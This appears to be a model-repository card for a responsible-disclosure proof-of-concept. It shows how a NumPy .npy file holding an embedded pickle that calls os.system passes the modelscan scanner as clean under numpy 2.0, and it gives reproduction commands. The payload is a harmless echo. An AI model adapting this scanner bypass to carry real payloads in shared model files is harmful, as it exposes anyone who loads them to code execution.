YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
PoC: NumPy .npy modelscan fail-open (numpy >= 2.0)
Security proof-of-concept for a Huntr Model File Vulnerability report (responsible disclosure). The payload is harmless.
poc_object_array.npy is a genuine NumPy object-array file whose embedded pickle is
os.system("echo PWNED-NPY-MODELSCAN-FAILOPEN") — a benign command that proves arbitrary code execution on load.
The bypass
Protect AI modelscan (0.8.8, latest) lists NumPy as a supported format. On any host with
numpy >= 2.0 (the current default), its NumPy scanner calls private numpy functions
removed in numpy 2.0 (np.lib.format._check_version / _read_array_header), throws, and
reports this file as 0 issues — a fail-open. The identical payload in a .pkl is
correctly flagged CRITICAL.
Reproduce
pip install modelscan "numpy>=2.0"
modelscan -p poc_object_array.npy
# -> "0 issues found" (fail-open; an internal error is recorded but the verdict is clean)
python -c "import numpy as np; np.load('poc_object_array.npy', allow_pickle=True).tolist()"
# -> prints PWNED-NPY-MODELSCAN-FAILOPEN (the os.system payload executed)